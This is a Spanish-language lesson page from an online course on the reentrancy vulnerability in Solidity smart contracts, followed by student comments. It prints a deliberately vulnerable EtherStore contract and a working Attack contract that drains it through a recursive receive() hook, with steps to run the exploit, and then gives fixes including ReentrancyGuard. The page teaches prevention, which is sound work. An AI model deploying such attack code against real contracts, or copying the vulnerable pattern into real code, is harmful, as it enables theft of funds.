No tienes acceso a esta clase

隆Contin煤a aprendiendo! 脷nete y comienza a potenciar tu carrera

Adquiere por un a帽o todos los cursos, escuelas y certificados por un precio especial.

Antes: $249

Currency
$219/a帽o

Paga en 4 cuotas sin intereses

Paga en 4 cuotas sin intereses
Comprar ahora

Termina en:

2D
0H
58M
38S

Reentrancy simple

10/15
Recursos

El dep贸sito y retiro de ETH en un contrato por parte de un usuario puede exponer vulnerabilidades si los mismos no se realizan de la forma correcta.

Reentrada de transacciones (reentrancy)

Uno de los problemas de seguridad m谩s comunes es el denominado reetrancy que provoca llamadas recursivas a una misma funci贸n de un contrato hasta vaciar los fondos del mismo.

Veamos de qu茅 se trata esta vulnerabilidad y c贸mo prevenirla a trav茅s de un simple ejemplo:

Explicaci贸n del contrato vulnerado

Utilizaremos de ejemplo un contrato inteligente que permite depositar y retirar ETH. Cada direcci贸n solo puede retirar sus propios fondos, pero la vulnerabilidad permitir谩 que un atacante se quede con todos los fondos.

Nota: El ejemplo de esta vulnerabilidad fue tomado y adaptado originalmente de Solidity by examples.

Contratos involucrados

Comencemos con el contrato principal que contiene la l贸gica de negocios para el dep贸sito y retiro de Ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    // Deposito de ETH
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // Retiro de ETH
    function withdraw() public {
        uint monto = balances[msg.sender];
        require(monto > 0);

        (bool sent, ) = msg.sender.call{value: monto}("");
        require(sent, "El envio de ETH ha fallado.");  
        balances[msg.sender] = 0;
    }

    // Funciona auxiliar para visualizar el balance total del contrato
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Respecto al contrato atacante, presta atenci贸n a la funci贸n receive() que es la v铆a por la cual se genera la recursividad y permite el robo de todos los fondos.

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        // Creamos la instancia de EtherStore.
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Funci贸n receive() es llamada cuando EtherStore envia ETH a este contrato.
    receive() external payable {
        // Al retirar el primer ETH, EtherStore lo enviar谩 a este hook que vuelve a llamar a withdraw de forma recursiva
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    // El ataque consiste en depositar 1 ETH e inmediatamente retirarlo
    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Funciona auxiliar para visualizar el balance total del contrato.
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Procedimiento para vulnerar el contrato

    1. Desplegar el contrato EtherStore.
    1. Depositar 1 ETH con dos cuentas. Hasta este punto, el contrato tendr铆a 2 ETH.
    1. Desplegar contrato Attack que recibe en el constructor la direcci贸n de EtherStore.
    1. Hacer el llamado a Attack.attack enviando 1 ETH con una tercera cuenta para tener acceso a realizar una extracci贸n. El contrato atacante recibir谩 los 3 ETH.

Consejo: te animo a que t煤 mismo despliegues los contratos en entornos como Remix para que explores la vulnerabilidad y veas que, efectivamente, el contrato atacante se queda con todos los fondos.

驴Qu茅 sucedi贸 aqu铆?

Attack llam贸 a EtherStore.withdraw m煤ltiples veces antes de que EtherStore.withdraw finalice su ejecuci贸n.

As铆 es el orden de llamados de las funciones:

  • Attack.attack
  • EtherStore.deposit
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)

驴Por qu茅 sucedi贸?

Al realizarse las llamadas de forma recursiva, el balance de la cuenta del atacante nunca llega a 0 y, por lo tanto, permite seguir haciendo retiros. Observa que el balance de la cuenta del contrato atacante se setea a 0 reci茅n en la 煤ltima l铆nea de c贸digo de la funci贸n withdraw().

function withdraw() public {
    uint monto = balances[msg.sender];
    require(monto > 0);
    (bool sent, ) = msg.sender.call{value: monto}("");
    require(sent, "El envio de ETH ha fallado.");  
    balances[msg.sender] = 0;
}

驴C贸mo se puede evitar?

Hay al menos tres medidas que puedes tomar para evitar este enorme problema de seguridad.

  1. El primero es mover el seteo del balance a 0 antes del llamado a la funci贸n externa.
function withdraw() public {
    uint monto = balances[msg.sender];
    require(monto > 0);
    
    balances[msg.sender] = 0;   // Seteo del balance antes del 'msg.sender.call'

    (bool sent, ) = msg.sender.call{value: monto}("");
    require(sent, "El envio de ETH ha fallado.");  
}

Corresponde setear a 0 el balance de la cuenta que retira sus fondos antes de realizar el llamado externo. En el caso de que el llamado falle por otro motivo, no te preocupes, ya que el require() har谩 un revert() y los balances volver谩n a como estaban antes del fallo.

  1. Tambi茅n puedes setear el uso del gas en la llamada externa.
(bool sent, ) = msg.sender.call{value: monto, gas: 10000}("");

Siempre es aconsejable configurar el gas disponible para un llamado externo.

  1. Otra forma de solucionar esta vulnerabilidad es con un modificador que valide que la funci贸n no se est茅 llamando de forma recursiva. Afortunadamente, OpenZeppelin ya tiene un contrato auditado y seguro para solventar este problema.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract EtherStore is ReentrancyGuard {
    // ...

    function withdraw() public nonReentrant {
        // ...
    }
}

Conclusi贸n

Has visto hasta aqu铆 la exigencia de desarrollar un contrato inteligente que administre correctamente fondos.

Un simple cambio de orden en la l贸gica de un contrato puede causar perdidas millonarias. Claro que ya las ha causado y, por este motivo, Reentrancy es una vulnerabilidad bien conocida que debes prevenir estudiando su funcionamiento y escribiendo c贸digo de forma segura.


Contribuci贸n creada por: *Kevin Fiorentino (Platzi Contributor).

Aportes 8

Preguntas 1

Ordenar por:

驴Quieres ver m谩s aportes, preguntas y respuestas de la comunidad?

o inicia sesi贸n.

Reentrancy simple: ataca a una funci贸n especifica llamandola nuevamente antes de cerra su ejecuci贸n, creando un ciclo hasta vaciar la cuenta.

Comento algo no relacionado directamente con el curso, el sonido de la intro 鈥減latzi鈥 esta bien, pero despu茅s se vuelve muy repetitivo escuchar siempre lo mismo.
Eso que a mi en lo particular me gusta el ASMR, pero llega un momento que ya es cansino.
Bueno eso simplemente.
Saludos.

Reentrancy simple

La funcion de Re-entrada tiene la vulnerabilidad en la que un contrato A llama a un contrato B y el contrato B aprovecha la vulnerabilidad antes de que se produzca el cambio de estado de los fondos en el contrato A, el contrato B en ese tiempo re-llama al contrato A denuevo.

T茅cnicas Preventivas:

  • Aseg煤rese de que se produzcan todos los cambios de estado antes de llamar a los contratos externos
  • Use modificadores de funci贸n que eviten el reingreso

Aqu铆 hay un ejemplo de un guardia de reingreso

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Es una l谩stima que haya simplificado tanto el c贸digo en el v铆deo, porque no se entiende. La secci贸n de recursos es mucho m谩s detallada y funcional/realista. 脡l mismo explica muchos protocolos han sufrido este tipo de ataques y explicarlo en detalle a帽adir铆a mucho m谩s valor por lo may煤sculo que es el tema.

Igual estoy aprendiendo full, gracias profe.

Otra forma de solucionar el Reentrancy es con un modifier que OpenZeppelin ya tiene auditado.

Me parece que este ataque fue muy famoso hace unos a帽os y es la causa de la existencia de Ethereum Classic, en el libro: The Infinite Machine, habla que durante un periodo de Ethereum conocido como la guerra de las DAOs, muchas DAOs sucumb铆an ante este tipo de ataque, lo describe como retirar dinero de un cajero que se actualiza hasta que lo vac铆es por completo.

La funci贸n receive() es propia de Solidity y se puede implementar para que un contrato reciba llamadas o ETH. El contrato Atacante recibe llamadas a trav茅s de esa funci贸n, genera un bucle infinito y vacia los fondos del contrato principal.

REENTRANCY SIMPLE

  • Es uno de los ataques m谩s conocidos y peligrosos, ya que puede quitarle todos los fondos a una cuenta. Consiste en llamar recursivamente a una misma funci贸n hasta que no haya m谩s gas o fondos que transferir.
    驴C贸mo es posible?
  • Expone la vulnerabilidad, a trav茅s de una llamada mediante Call, toma la direcci贸n del contrato y hace una llamada para retirar los fondos
  • Medida: l铆mite de gas, mover la asignaci贸n de la variable antes de hacer la llamada externa